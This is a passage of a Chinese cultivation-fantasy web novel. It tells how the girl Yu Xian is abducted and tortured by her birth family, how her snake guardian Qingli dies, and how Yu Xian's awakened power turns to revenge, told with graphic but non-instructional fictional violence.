幻象如同被戳破的水泡,骤然消散。 柳静怡反手就如铁钳般死死抓住了她的胳膊,尖利的指甲几乎要抠进她的肉里,冰冷的斥责在头顶响起,“你还知道出来!” 郁仙猛地一怔,僵硬的仰起头,看到的就是一张刻薄厌烦的脸。 郁长林脸上露出阴谋得逞的狞笑,迅速上前,狠狠一掌劈在她的后颈,将她直接劈晕了过去。 “我们走!” 他们丝毫不做停留,带着郁仙消失在远方天际,这一幕刚好被萧星尘看到。 “三师妹——” 萧星尘扑到护山大阵前,发出绝望的嘶喊。 是他没看好三师妹!是他这个大师兄失职! 可这会不是他自责的时候,他强迫自己冷静下来,赶忙掏出传讯玉简给青璃传讯。 “青璃姐姐,速回!三师妹被郁长林抓去药仙谷了,她有危险!!!” …… 药仙谷。 “嘭!” 郁仙被郁长林像丢垃圾一样,狠狠摔在祠堂冰冷的青砖地上。 剧烈的撞击让她从昏迷中痛醒过来。 她艰难地睁开眼。 首先映入眼帘的,是祠堂正中央供奉的郁家祖宗牌位,它们在长明灯昏暗跳动的火光下,像无数双冰冷的眼睛,俯视着她这个“外人”。 紧接着,她看清了围在她面前的那一圈人。 那一张张与她血脉相连,此刻却扭曲到令人心寒的面孔。 郁长林眼神阴鸷,居高临下的俯视着她,仿佛在看垃圾。 柳静怡用手捂着心口,一副痛心疾首、摇摇欲坠的痛心模样,看着她的眼神里充满了失望和严厉的谴责,仿佛她犯下了十恶不赦的罪孽。 郁姝脸上倒是努力挤出几分担忧和难过,可她那双眼睛里,却明晃晃地闪烁着兴奋和看好戏的得意。 最后,她的目光落在坐着轮椅的郁明轩身上。 仅仅一个月不见,他整个人瘦得脱了形,脸颊凹陷,眼窝发黑,眼神里是化不开的恨意,那不是看亲妹妹的眼神,而是像在看一个不共戴天的仇人。 郁长林的声音冰冷刺骨,“逆女,还不跪下给列祖列宗磕头认错!” 郁仙倔强地迎着郁长林的目光,“你们想干什么?” 郁长林厌恶郁仙的倔强,作为女儿,未嫁从父,出嫁从夫,可郁仙对他的态度,没有一点尊敬可言。 他猛地一脚踹在她的肩膀上,将她踹趴在地,“孽畜,到了现在还敢嘴犟。” 他指着祖宗牌位,厉声喝道:“给列祖列宗磕头认错!承认你害你哥哥丹田破碎,承认你叛出郁家忘恩负义,承认你欺负姝儿,承认是你是家族的扫把星。” 郁仙猝不及防,被踹得重新摔回冰冷的地面,肩胛骨传来钻心的痛。 她从地上爬坐起来,倔强地挺直脊背,一字一顿道:“我、没、错。” “你说什么?”郁长林的声音陡然拔高,眼中的怒火几乎要喷出来。 “我说,我没错。” “你只看到郁明轩丹田被废,怎么不问问他为何被废?是他先要杀我。” “将我驱逐出门的是你们,现在说我叛出家族?可笑!” “郁姝欺辱我,陷害我的时候,你们不管,我反击,到成我欺负她了?” 在药仙谷生活的那一年,她太了解郁家人了。 不管她如何乖巧,如何求饶,都不会惹人怜惜。 反正求饶和反抗都是要挨打,她何不让自己的心里痛快一些。 “反了!反了!”柳静怡手指颤抖地指着她,“你这个白眼狼,我们好心把你从外面找回来,锦衣玉食地养着你,你就是这么回报我们的?轩儿是你的亲哥哥啊,你却眼睁睁看着他变成废人,你的心是石头做的吗?” 郁仙看着她所谓的“母亲”,心中再也生不出半分委屈,只有嘲讽。 这就是她的家人。 宁愿对一个没有血缘关系的养女好,都吝啬给予她这个亲生女儿一丝一毫的关爱。 哪怕只是一点点,一点点她就可以满足。 可是,这一点点他们都不愿意给。 既然不爱,又为什么要把她找回来? 难道就为了有一个可以随意打骂折辱的出气筒? 或者,其实他们是享受被两个女儿争抢的成就感? 郁仙不发一言,只讥诮的看着他们。 这副油盐不进、沉默反抗的姿态,更加让郁长林怒火中烧。 “认不认错?”他再次逼问。 郁仙眼底只剩下一片死寂的倔强:“不认。” “爹!”轮椅上的郁明轩突然开口,声音因为怨恨而尖利,“跟她多说无益,她这种人,不打是不会认错的。” “爹还是请家法吧,让她知道知道郁家的规矩。” 郁长林眼中狠厉之色一闪,厉声道:“拿鞭子来!” 旁边的下人立刻躬身递上一根黝黑发亮、浸过盐水、带着倒刺的鞭子。 “郁仙,我最后问你一次,认不认错?” 郁仙小脸上没有丝毫退缩:“不认。” “好!好!好!”郁长林怒极反笑,“这可是你自找的。” 他不再犹豫,运起灵力,手臂猛地一挥。 “啪——” 清脆又瘆人的鞭声炸响在祠堂。 那一鞭狠狠抽在郁仙单薄的背脊上,浸过盐水的倒刺瞬间撕裂了她的衣裙,深深嵌入皮肉,带起一片模糊的血肉。 剧痛让她浑身猛地一颤,冷汗瞬间浸湿了额头。 “认不认?” “我、没、错,我、不、认!” “我看你还能嘴硬到什么时候。” 话音落下,鞭子声不绝于耳。 “啪——” “啪——” “啪——” 鞭子一下接着一下,每一次落下,都伴随着皮肉撕裂的声音和郁仙压抑的痛呼。 她的后背、手臂、腿上......很快布满了纵横交错、皮开肉绽的伤口。 鲜血浸透了她破碎的衣衫,在她身下的青砖地上蜿蜒开一滩触目惊心的血泊。 郁长林毫不手软,鞭影翻飞,鲜血甚至飞溅到了周围的牌位和郁姝等人的衣服上。 柳静怡假惺惺地别过脸,不忍再看。 郁姝一副受到惊吓的表情,可那双眼睛里还藏着快意的兴奋。 郁明轩坐在轮椅上,看着郁仙在鞭下痛苦地翻滚、惨叫,脸上露出了近乎癫狂的笑。 “认错!给我认错!”郁长林一边疯狂抽打,一边咆哮。 郁仙趴伏在血泊中,气息微弱,却依旧坚持:“我……没……错……” “不认错,那我就打死你。” 鞭子还在落下,郁仙的意识渐渐模糊,她仿佛看到了师尊的脸,看到师尊对她笑。 “师尊……”她喃喃自语,嘴角竟露出一丝解脱般的笑意。 就这样死了,是不是就能见到师尊了? 那,死了也挺好的。 就在郁长林再次高高举起鞭子,准备狠狠落下时—— “爹!住手!” 一个意想不到的声音突然打断了他。 是郁明轩。 郁长林动作一滞,疑惑地看向儿子。 柳静怡和郁姝也同时投去不解的目光。 尤其是郁姝,她先是一愣,随即眼底迅速掠过一丝压抑不住的不悦。 难道哥哥心疼了? 就因为郁仙与他有血缘关系,就算不是从小一起长大,就算他的丹田因郁仙而被废,他还是舍不得了吗? 郁姝暗暗咬唇,内心涌起强烈的不甘。 爹娘和哥哥全部的疼爱都只能是属于她的,她一定要把郁仙这个贱种狠狠踩进泥里,永世不得翻身。 她眨巴着一双看似清澈无辜的大眼睛,语气带着试探和一丝不易察觉的挑拨:“哥哥是心疼妹妹了吗?” “哎……也是,妹妹才是哥哥一母同胞的亲妹妹,哥哥心疼妹妹也是应该的。” “嗤——”郁明轩闻言,发出一声毫不掩饰的讥笑,看向郁仙的眼神充满鄙夷,“我的妹妹只有姝儿你一个,郁仙?不过是个在乡野长大的贱种,她也配做我郁明轩的妹妹?” 他这话让郁姝心下顿时一喜。 “我之所以叫停,只是因为我突然想起了一件很重要的事。” “什么事?”郁姝不解的问。 郁长林和柳静怡也不解。 “我突然想起,那日在玄天宗山门外,我明明刺穿了她的丹田,她和她那个废物师妹都已经气息奄奄,濒死了。 但云见月拿出来两株长得像蘑菇一样的东西,给她们一人喂了一株,结果她们不仅立刻活了过来,郁仙被刺穿的丹田,也瞬间恢复如初了。” “姝儿,当时你也在场,你看得清清楚楚,对不对?” 经他这么一提醒,郁姝也猛地想了起来,眼睛瞬间瞪大:“对!对!那个蘑菇好生神奇,居然能瞬间修复受损的丹田,爹爹,您见多识广,可知那是什么天地灵宝?” 闻听此言,郁长林的大脑嗡的一声。 他身为药仙谷谷主,一生见过、听过的奇珍异草数不胜数。 即便有些至宝无缘得见,却也在宗门传承的古籍中看过详尽记载。 能瞬间修复丹田,令人起死回生,形态似菇…… 所有的特征都指向了传说中那只存在于上古记载里的神物——枯荣轮回菇! “云见月那贱人,她竟然舍得将上古玄菌这等逆天至宝喂给你吃?”郁长林简直惊呆了。 那样的神物,若是他得到了,恐怕都要斟酌再三,不舍得将一整株完全用掉。 可云见月,竟然毫不犹豫地就给郁仙和苏渺渺那两个小丫头,一人喂了一整株。 想到这等足以引起修真界震动的上古玄菌,竟然被郁仙这个他视如草芥的废物吃进了肚子,郁长林顿时觉得一股邪火直冲头顶,心疼嫉妒得几乎发狂。 第70章 仙儿别怕,青璃姐姐带你回家 郁长林先是一愣,下一秒哈哈大笑起来。 “好!好!还是我儿聪慧。” “你说得对,她吃了上古玄菌,血肉就是最好的良药,只要喝了她的心头血,我儿的丹田定然能够恢复如初。” 他再次看向郁仙,那眼神不像是在看人,而是在看一件稀世罕有的天材地宝,充满了贪婪。 “你这孽畜也并非一无是处,这一身融合了枯荣轮回菇药性的血肉,倒是还有些利用价值。” 郁仙的脑子一片空白。 她明白了郁长林的意思。 郁长林不会杀她,却会取她血割她肉,作为药引炼丹。 她的目光从郁长林贪婪狰狞的脸上移到郁明轩兴奋希冀的脸上,再对上郁姝毫不掩饰的激动眼神,最后与柳静怡对视。 柳静怡虽然也不是什么好人,可到底十月怀胎生了她,真就忍心看着从自己身上掉下来的肉,被人活生生取血割肉吗? 她不相信人性可以卑劣至此。 可现实给了她一记响亮的耳光,她还是高估了她这位伪善的母亲。 只见她一脸的心痛,仿佛真的不忍心看到自己的女儿受苦,可嘴里说出来的话却能将人凌迟。 “仙儿,不要怪娘狠心,实在是你做了太多错事,桩桩件件罄竹难书,娘想护你却也护不住你。 有句话说的好,能力越大责任就越大,你的血肉既然有如此药性,便是为了挽救更多的人,你也该做出些牺牲,爹娘做这一切是为了替你赎罪,也是为了你好。” 郁仙没有说话,只是抬起那双沉寂如死水的眼睛,淡淡地看着她表演,静静地听她说完这世上最虚伪最恶心的话。 直到柳静怡说完,她才缓缓开口,“你们不是我的爹娘,你们是吃人不吐骨头的豺狼。” 柳静怡像是受到了打击,用手捂着心口,一副受伤至极,摇摇欲坠的模样。 郁长林冷哼,“死到临头,还敢牙尖嘴利,既然如此,我也没必要再跟你废话了,拿碗来。” 一声令下,立刻有下人取碗递给他。 郁长林一手拿着碗,另一只手握着闪烁着寒光的匕首,一步一步靠近郁仙。 在场的人,看向郁仙的眼神,就如同西游记中妖怪见了唐僧。 郁仙突然想起了师尊给她讲过的《哪吒闹海》的故事。 她也好想像哪吒那样,剔骨还父,割肉还母,将这一身来自于他们的血肉彻底还给他们,从此干干净净,再无瓜葛。 可是,她没有哪吒那般通天彻地的神通。 她连反抗的力量都没有,只能眼睁睁看着那把泛着寒光的匕首,离自己的心口越来越近。 就在郁长林举起刀子,准备捅进她的心脏时。 “轰隆隆——” 整个药仙谷猛地剧烈震动起来。 祠堂疯狂摇晃,瓦砾碎石簌簌而下,那些高高在上的郁家祖宗牌位“噼里啪啦”地摔落一地。 “怎么回事?”郁长林慌忙停手,惊疑不定地看向外面。 “妖!有大妖!” 祠堂内外顿时乱作一团,下人们惊叫着抱头鼠窜。 一股恐怖至极的妖气,如同滔天巨浪,轰然席卷了整个药仙谷。 这妖气之强横,带着元婴期大妖独有的绝对威压,让所有感受到妖气的人都从灵魂深处生出恐惧来。 郁长林慌忙冲出祠堂,只见一条巨大无比的青色蟒蛇盘踞在谷中,身躯庞大如小山,全身覆盖着冰冷如铁甲般的鳞片,在阳光下泛着青色的幽光。 它那双巨大的金色竖瞳,没有一丝温度,正死死锁定在冲出祠堂的郁长林等人身上,里面翻涌着滔天的杀意。 是它! 森林里那条风火双系的元婴蛇妖。 它怎么会找到这里来? 郁长林吓得魂飞魄散,双腿一软,差点瘫倒在地。 “是你,你……你怎么会在这里?” “吼——”回应他的,是一声震彻天地的狂暴嘶吼。 巨大的蛇尾猛地横扫而过。 轰隆隆—— 祠堂的墙壁和附近的房屋,在这绝对的力量面前如同纸糊的玩具般,被轻易扫塌。 砖石木梁四处飞溅。 那些躲闪不及的郁家下人和低阶弟子,在被蛇尾扫中的瞬间,当场化成血雾,残肢断臂混合着破碎的内脏四处抛飞。 短短一瞬,药仙谷已成人间炼狱。 在一片血腥中,那巨大的蛇头缓缓低下,目光穿透废墟,精准地落在了伤痕累累的郁仙身上。 那双冰冷的金色竖瞳在看到郁仙浑身是血的瞬间,瞳孔骤然收缩,里面的杀意几乎要化为实质流淌出来。 “仙儿,过来。” 看到眼前如同神兵天降的巨大青蛇,郁仙一直撑着的委屈、恐惧和绝望,瞬间决堤。 眼泪混合着脸上的血污滚滚而下。 “对不起,我没听你的话,对不起……” “你没有错,错的是那些心怀叵测的人。” “上来,我带你回家。” “回家”两个字,狠狠戳中了郁仙心中最柔软的地方。 她咬紧牙关,用尽全身力气拖着满是伤痕的身子,艰难地、一点点地爬上巨大蛇头。 那双沾满血污的小手,紧紧地抱住了青璃坚硬的鳞片。 郁长林又惊又怒,虽然惧怕这条元婴蛇妖,但他更不能眼睁睁看着郁仙这个“药人”就这样被带走。 “布阵——快布诛妖阵——拦住它!”郁长林声嘶力竭地大吼。 然而,那些弟子们仓促间结成的诛妖阵,在青璃面前渺小得可笑。 阵法尚未完全成型,巨大的蛇尾再次一扫—— “嘭!” 又是一片惨叫声响起,那些结阵的弟子被扫飞出去,非死即伤,诛妖阵土崩瓦解。 郁长林心急如焚,他深知,以他们现在的力量,根本不可能对抗这条强大的元婴蛇妖。 为今之计,只有请出闭关的族老了。 郁长林猛地深吸一口气,运足全身灵力,“药仙谷遭逢大难,强敌来袭,晚辈郁长林,恭请春夏秋冬四位祖老出关,助我诛杀妖邪,护我宗门——” 这一声,响彻药仙谷。 药仙谷的弟子们也跟着喊道:“请族老出关,助我等诛杀妖邪——” 声浪阵阵。 就在青璃带着郁仙,腾空而起,准备离开时,四道强大无比的气息骤然从药仙谷后山禁地冲天而起。 下一刻,四道身影拦在了青璃前方。 这四人分别穿着绿、红、黄、蓝四色衣袍,代表着春、夏、秋、冬四季。 他们须发皆白,面容古朴,眼神开阖间精光闪烁,周身散发出的灵力赫然全都达到了元婴期。 他们正是药仙谷一直在闭关冲击化神境的四季族老。 郁长林看到四位族老同时出关,激动万分,指着天上的青璃和郁仙道:“四位族老,就是这条蛇妖来我药仙谷伤人,长林实力不济,实在对抗不了这元婴大妖,还请族老们出手,帮长林斩杀此妖。” 为首的春老目光如电,扫过下方已成废墟的谷地和死伤的弟子,脸色一沉,看向青璃的目光顿时充满了凛冽的杀意:“妖孽,竟敢伤我门人,今日留你不得。” 话音落下,春老率先出手。 他袍袖一拂,空中瞬间凝聚出无数翠绿色的藤蔓,铺天盖地地朝着青璃缠绕而去。 青璃巨大的金色竖瞳中闪过一丝凝重,但她毫不畏惧。 巨大的蛇口张开,一股炽热无比的烈焰喷涌而出,瞬间与那漫天藤蔓撞击在一起。 火焰克木! 滋滋的灼烧声不绝于耳,无数藤蔓在可怕的烈焰中被烧成灰烬。 同时,青璃周身青光乍现,狂暴的罡风凭空涌现,风助火势。 那喷出的烈焰瞬间暴涨数倍,化作一片焚天煮海的火焰风暴,反向朝着春老席卷而去。 春老脸色微变,显然没料到这蛇妖的火焰如此霸道,更兼具风火双系之力,配合得天衣无缝。 他急忙掐诀,身前浮现出一面巨大的木质盾牌,勉强挡住汹涌而来的火海,身形却被震得微微后退。 下方药仙谷的弟子们看到这一幕,全都惊骇的张大嘴巴。 “春……春老可是元婴中期的大能,居然……居然一时奈何不了那条元婴初期的蛇妖?” “这蛇妖究竟是什么来历?太凶悍了!” 夏老、秋老和冬老见状,面色也变得无比凝重。 “一起出手,此妖棘手,不必讲什么规矩了。”夏老低喝一声。 霎时间,四大元婴族老同时出手,攻击几乎同时而至。 春老的藤蔓缠绕束缚,夏老的地火喷发灼烧,秋老的金石利刃专攻要害,冬老的寒流则无孔不入地试图冻结血液和灵力。 一时间,青璃陷入了狂风暴雨般的复合攻击之中。 天空中,灵光爆闪,轰鸣巨响不绝于耳。 火焰、狂风、藤蔓、金石、寒冰…… 各种强大可怕的法术疯狂对轰碰撞,冲击波将药仙谷上空的云层都彻底撕碎。 下方的残垣断壁受到波及,更是不断崩塌炸裂,宛如末日降临。 青璃虽强,风火双系运用得出神入化,但终究是双拳难敌四手,更何况是四位配合默契、修为高深的元婴修士围攻。 她庞大的身躯成了最好的靶子,既要保护头上的郁仙,又要应对来自四面八方的狂暴攻击,很快便捉襟见肘。 “嘭!” 一道沉重的金石重锤狠狠砸在青璃的背部。 “咔嚓!”极寒冰枪刺穿了她体表坚硬的鳞片。 藤蔓瞬间缠绕束缚…… 青璃发出一声痛苦的嘶鸣,巨大的蛇身在天空中剧烈翻滚挣扎,原本光滑冰冷的鳞片变得破损不堪,多处伤口渗出鲜血。 “轰——” 青璃庞大的身躯从高空中急速坠落,重重地砸在下方的废墟之中,激起漫天烟尘。 而她头上的郁仙,也在这一阵剧烈的撞击和翻滚中,被无情地甩飞了出去,如同断线的风筝般,狼狈地摔在远处尖锐的碎石瓦砾之上,猛地喷出一大口鲜血。 第71章 枯荣双生木灵根觉醒,郁仙强的可怕 “族老,趁现在杀了那蛇妖。”郁长林的声音带着癫狂的得意,指着趴在废墟中挣扎的青璃,眼中满是贪婪。 冬老抬手一挥,无数冰剑凭空凝聚,如同暴雨般狠狠刺入青璃的蛇身。 “噗嗤!噗嗤!噗嗤!” 利刃入肉的声音不绝于耳。 “吼——” 青璃发出凄厉的嘶吼,巨大的蛇身在碎石中疯狂扭动,鳞片剥落,鲜血喷涌而出,染红了身下的废墟。 她金色的竖瞳渐渐失去光泽,挣扎的幅度也越来越小,最后只剩下微弱的抽搐,证明她还吊着一口气。 郁仙躺在不远处的碎石堆里,眼睁睁看着这一幕,眼眶瞬间被血泪染红。 “不......不要......” 她伸出满是血污的小手,指甲抠进碎石里,指尖渗出血,却连半分力气都使不出。 她只能看着冰剑扎进青璃的身体,看着鲜血漫过青璃的鳞片,看着那个刚才还护着她说着“带你回家”的人,一点点失去生机。 是她害了青璃姐姐。 是她没听话,闯出护山大阵被抓;是她太没用,连自己都保护不了,还要连累别人。 郁仙忍着全身骨头断裂的剧痛,用手肘撑着地面,一点点朝着青璃爬去。 尖利的碎石划破她的膝盖、手掌,身后拖出一长串暗红的血痕,每爬一寸,都像有刀子在割她的肉。 药仙谷的人,在一旁冷眼旁观,发出畅快的笑声。 郁长林更是笑得满脸褶子,对着冬老拱手:“冬老,麻烦您再把这蛇妖的内丹挖出来,元婴大妖的内丹可是千年难遇的好东西。” 冬老颔首,冰剑再次凝聚,精准地刺入青璃七寸之处,硬生生将一颗莹绿色的内丹挖了出来。 流光溢彩、蕴含着磅礴妖力的内丹离体的瞬间,青璃的蛇身彻底不动了,金色的竖瞳失去了最后一丝光彩。 “好!好!”郁长林接过内丹,笑得合不拢嘴,“有了这颗内丹,我很快就能突破元婴了,哈哈哈——” 在场的人都露出了“大仇得报”的快感。 只有郁仙爬到青璃身边,伸出颤抖的手,轻轻抱住冰冷的蛇身,泪水混合着血污,滴在青璃的鳞片上。 “青璃姐姐……对不起……”她的声音嘶哑得几乎听不见,“是我害了你……” “都怪你这个小贱种!”郁明轩的声音突然响起。 他不知何时从轮椅上站了起来,脸色苍白,却一步步走到郁仙面前,居高临下地看着她,眼神像在看一条肮脏的狗。 “要不是你,药仙谷何至于遭此大难?要不是你,我怎会丹田破碎?要不是你,哪来这么多破事!” 说罢,他抬起脚,毫不留情地踹在郁仙的心口。 郁仙像个破布娃娃一般被踢飞出去,在碎石地上翻滚了好几圈才停下,一口鲜血猛地喷了出来。 她腰间那个小小的、绣着药炉纹样的储物袋,也在这剧烈的撞击中脱落,掉在了地上。 郁明轩走过去,一脸嫌弃地用脚尖踢了踢那沾血的储物袋,然后弯腰捡了起来。 “哼,我倒要看看你这贱种能有什么好东西。”他鄙夷地说着,打开了储物袋。 他从里面掏出一尊小巧玲珑、却宝光莹莹的丹炉,声音都因激动而变了调:“九转蕴神鼎?上品炼器炉?你这个小贱种怎么可能有这等宝贝?” “还……给……我……”郁仙颤抖着抬起手。 那是师尊买给她的礼物!是她最珍视的东西之一! “还给你?”郁明轩嗤笑一声,“就你这种连丹都不会炼的废物,也配用上品炼丹炉?” 说着,他转身直接将九转蕴神鼎递给了旁边眼巴巴望着的郁姝,语气宠溺:“只有姝儿这样天赋绝佳的炼丹师,才配使用这等丹炉。” 郁姝立刻接过,乖巧的笑道:“谢谢哥哥。” “跟哥哥客气什么,这本就该是你的。”郁明轩笑了笑,继续在储物袋里翻找。 他又翻出了一堆亮晶晶的下品灵石,约莫有上万块,那是云见月给孩子们分的零用钱,郁仙一直没花过。 “真是看不出来,你这种穷酸货,居然能有一万块下品灵石,反正你是个废物,用在你身上也是浪费,不如留给我。” 郁明轩毫不客气的直接揣进了自己的储物袋。 最后,他又从储物袋最里层掏出了一个东西。 那是一个栩栩如生的糖人。 糖人被一道温和的灵力精心包裹着,保存得极其完好,光鲜亮丽,与当初云见月买时一模一样。 糖人上的小人儿,笑容灿烂得像阳光。 “嗤,什么垃圾玩意儿。”郁明轩一脸嫌弃,随手将糖人丢在地上。 犹觉得不够,还抬起脚,狠狠踩了上去。 “咔嚓——” 清脆的碎裂声响起,糖人瞬间被碾成了粉末,黏在他的鞋底上。 这一幕,像一把最锋利的刀,狠狠扎进了郁仙的心脏。 时间仿佛在这一刻静止了。 郁仙呆呆地看着地上那摊被碾得粉碎、沾满尘土的糖渣。 那是师尊给她买的第一份礼物…… 是师尊笑着递给她,说小孩子不吃糖,人生是不完整的…… 是她舍不得吃,用灵力日夜温养,视若珍宝的糖人…… 碎了。 被她最憎恨的人,以最践踏的方式,毁掉了。 极致的愤怒、心痛、绝望……种种情绪如同火山般在她胸腔内疯狂积压、膨胀、最终轰然爆发。 “啊————” 一声不似人声的凄厉到极致的尖叫从她喉咙中迸发出来。 一股难以想象的力量,像是冲破了某种亘古的封印,从她身体最深处轰然苏醒。 她全身多处骨折的剧痛,在这股力量的冲击下,竟然被硬生生压下。 在所有人惊骇的目光中,郁仙那破败的小身子,竟缓缓地、违背常理地悬浮而起。 她身上破烂的衣裙无风自动,猎猎作响。 令人心悸的灵力波动以她为中心疯狂扩散开来,她的修为开始以一种恐怖的速度疯狂攀升。 炼气十一层! 炼气十二层! 筑基期! 瞬息之间,她的修为就从炼气十层,一路突破到了筑基期。 灵力波动之强,甚至超过了普通的筑基初期修士。 “这怎么可能?” “她……她的修为怎么回事?” “疯了!一定是疯了!哪有这样突破的?” 药仙谷的所有人,包括那四位族老,全都目瞪口呆,脸上写满了难以置信的震惊。 眼前发生的一切,彻底颠覆了他们的认知。 然而,更让他们震惊的还在后面。 只听“啪”的一声轻响,郁仙束发的发带骤然崩裂。 她那一头乌黑的长发披散下来,在空中微微飘动,然后,发色以肉眼可见的速度迅速褪去黑色,化为了如月光、如银雪般的璀璨银白。 同时,她缓缓抬起头,那双原本黑曜石般的眸子,渐渐褪去颜色,变成了冰冷、妖异、不含一丝情感的——银色。 此刻的郁仙,悬浮于空,银发银瞳,周身环绕着古老而强大的气息,宛如从上古传说中走出的神祇幼崽,又或是降临世间的妖灵。 “她怎么会变成这样?” “是妖化了吗?还是……觉醒了什么特殊体质?” “发生了什么?这到底是什么力量?” 恐惧与震撼开始在所有人心头蔓延。 郁仙那双冰冷的银色眼眸,缓缓扫过下方一张张惊骇欲绝的脸,最后,定格在了脸色发白的郁明轩身上。 被那样一双非人的银色瞳孔锁定,郁明轩只觉得一股寒气从脚底板直冲天灵盖,灵魂都在战栗。 下一秒,他看到郁仙唇瓣微启,轻轻吐出一个字: “荣。” 话音落下,她身上那些皮开肉绽的伤口,突然以肉眼可见的速度愈合,断裂的骨头发出“咔咔”的轻响,破损的皮肤重新长出新肉。 不过片刻,她身上的伤就全好了,连一道疤痕都没留下,仿佛刚才的折磨从未发生过。 倒吸冷气的声音此起彼伏。 接二连三的剧变,已经让在场的人大脑一片空白,完全失去了思考能力。 郁仙银色长发无风自动,再次吐出一个字: “枯。” 哭? 什么哭? 众人还没反应过来这个字意味着什么。 原本晴朗的天空,骤然阴沉下来,仿佛被蒙上了一层死寂的灰布。 下一秒,让所有人永生难忘的恐怖景象发生了。 以郁仙为中心,肉眼可见的枯萎浪潮向着整个药仙谷急速蔓延。 山谷内,数以亿计的草木,无论是参天古树还是脆弱小草,都在一瞬间失去了所有生机。 它们的绿叶变得枯黄,然后化为飞灰。 更加诡异的是,从这些枯萎的植物中,飘荡出无数细小而璀璨的光点。 普通植物飘出的是白色光点,灵草灵植飘出的是金色光点,而那些珍稀罕见的高阶灵草,则飘出了梦幻般的紫色光点。 五彩缤纷的光点如同漫天萤火虫,铺天盖地汇聚过来,在郁仙面前凝聚、挤压、融合,渐渐形成了一个巨大的能量球。 这些磅礴的生命能量球越来越大,表面缠绕着淡淡的雷霆,散发出的威压,竟然达到了金丹后期,隐隐有突破元婴的趋势。 “那些光点……是植物的生命力?”春老失声惊呼。 “她居然能吸收整个药仙谷的植物生命力?她到底是怎么做到的?”夏老的脸色彻底变了。 在无数惊恐的目光注视下,那汇聚了整个药仙谷草木生命力的恐怖能量球终于彻底成型。 郁仙银色的瞳孔中,最后一丝情感也彻底湮灭,只剩下杀意。 她对着郁长林等人的方向,厉声喝道: “我要你们,死——!!!” 随着她一声蕴含无尽恨意的怒吼,能量球如同受到指令,带着毁天灭地的气势,朝着郁长林等人激射而去。 “哼!装神弄鬼!”郁长林虽然心惊,但仗着郁仙只不过是个小小筑基期,而且还有族老在场,他竟下意识伸出一只手,运足灵力想要强行捏碎这个能量球。 可就在他的手掌接触到能量球表面的刹那—— 他脸上的不屑瞬间变成了极致的恐惧。 这能量球蕴含的威力,远远超乎他的想象,根本不是一个筑基期修士能发出的,其狂暴的能量层级,竟然达到了金丹后期,甚至隐隐触摸到了元婴的门槛。 “不——!!!” 凄厉的惨叫响起。 郁长林伸出去的那只手臂,如同冰雪遇烈阳,直接湮灭,化为了漫天血雾。 并且那毁灭性的力量还在沿着手臂急速蔓延,眼看就要将他的整个身体都吞噬、绞碎。 “族老!救我——”郁长林发出了绝望的哀嚎。 春夏秋冬四位族老此刻也是脸色剧变,他们也没料到一个筑基期的丫头,居然能凝聚出如此恐怖的能量。 四人身影瞬间出现在郁长林身前,元婴期的灵力毫无保留地爆发而出,四色灵光交织成一道厚实的屏障,合力迎向那恐怖的能量球。 “轰——!!!!!” 震耳欲聋的爆炸声响彻天地。 狂暴的能量冲击波如同海啸般向四周扩散,将本就一片狼藉的废墟再次犁了一遍。 四位族老身形微微一晃,总算合力将那可怕的能量球打散。 劫后余生的郁长林瘫倒在地,断臂处鲜血淋漓,脸色惨白如纸,浑身都被冷汗浸透,眼中充满了后怕和难以置信。 待那致命的恐惧稍稍平复,无边的暴怒和屈辱瞬间淹没了他。 他指着空中那个银发银瞳的身影,恨得浑身发抖,声音因为极致的怨恨而变得尖利扭曲: “小杂种!我要杀了你——” 第72章 天道昭昭,报应不爽,郁仙疯狂报复 郁仙那汇聚了整个药仙谷草木生机的一击过后,悬浮在空中的小身子猛地一晃,仿佛被抽走了所有力气。 她那一头璀璨的银发以肉眼可见的速度迅速黯淡,褪回墨黑。 那双冰冷的银瞳也恢复了原本的黑褐色,眼里只剩下浓重的疲惫和虚脱。 枯荣双生之力骤然退去,她从半空中跌落下来,狼狈地跪在冰冷的碎石地上,大口大口地喘息着,额头上布满冷汗。 她试图再次凝聚力量,却发现丹田如同干涸的枯井,经脉更是传来针扎般的剧痛。 药仙谷众人被方才那毁天灭地的一击吓得魂飞魄散,此刻眼见郁仙气息萎靡,显然已是强弩之末。 郁长林捂着不断淌血的断臂,眼中的恐惧瞬间转化为怨毒。 他眼中凶光毕露,强忍着剧痛,抬起完好的左手,掌心凝聚起阴毒的灵力,就欲彻底废掉郁仙的丹田,还要挖出她那诡异而强大的灵根。 只要留她一条命,她这身融合了神药药性的血肉,就是取之不尽用之不竭的宝药。 “小贱种,你的好运气到头了。”他脸色扭曲。 就在他即将动手的刹那—— “嗡——” 一股远超元婴期的恐怖威压,毫无征兆地从天而降,轰然笼罩了整个药仙谷。 在这股威压之下,所有人心头猛地一窒。 药仙谷的低阶弟子瞬间双腿发软,“噗通”跪倒一片。 春夏秋冬四位族老脸色骤变,灵力护罩不受控制地颤抖,胸口气血翻腾,喉间瞬间弥漫血腥味。 郁长林更是僵在原地,凝聚的灵力直接溃散,浑身冰凉,仿佛被死神盯上。 所有人下意识地抬头看向天际—— 一道身影踏着霞光而来,在他身后跟着八位气息同样强悍的修士,那八位修士个个都是元婴期修为。 来人一袭红衣似火,墨发如瀑,面容俊美得近乎妖异,周身散发的威压如同海啸般铺天盖地,俯视着药仙谷众人,仿佛在看一群微不足道的蝼蚁。 “合欢宗……是合欢宗的人!”有人认出了那八位修士的宗门服饰,惊呼出声。 红衣人悬停于高空,衣袂在强大的气场中无风自动。 他微微垂眸,目光扫过下方的废墟、青璃冰冷的蛇身,最后落在那个跪在地上却挺直了脊背的小小身影上。 “本君似乎来得正是时候。”他开口,声音并不大,却清晰地传入每个人耳中,“这出父女相残、逼女成魔的戏码,倒是比合欢宗的歌舞更有趣些。” 药仙谷众人被震慑当场,鸦雀无声,连大气都不敢喘。 花影身形一闪,下一刻便落在了郁仙身边。 他再也没有往日的妩媚风情,周身萦绕着凛冽的杀伐之气,看向郁仙的眼神却满是疼惜。 “小仙儿,他们欺负你了?” 郁仙紧绷着小脸,仰头看向他,黑白分明的眼睛里带着一丝不确定的希冀。 “花叔叔,”她声音沙哑,“你是来帮我的吗?” “当然。”花影回答得没有一丝犹豫,语气郑重,“我曾立下天道誓言,倾尽所有护佑玄天宗周全,既已许诺,言出必践,生死无悔。” 他的声音朗朗,清晰地传遍四方,仿佛不仅仅是在回答郁仙,更是在向天地宣告。 郁仙吸了吸鼻子,扭头,脏污的小手抬起,从脸色惨白的郁长林、瑟瑟发抖的柳静怡、惊恐万分的郁明轩以及瘫软在地的郁姝身上一一指过。 “他们欺我、辱我、伤我、欲取我性命、啖我血肉......” 每一个字都浸满了血泪。 “我今日,要他们以死谢罪。” 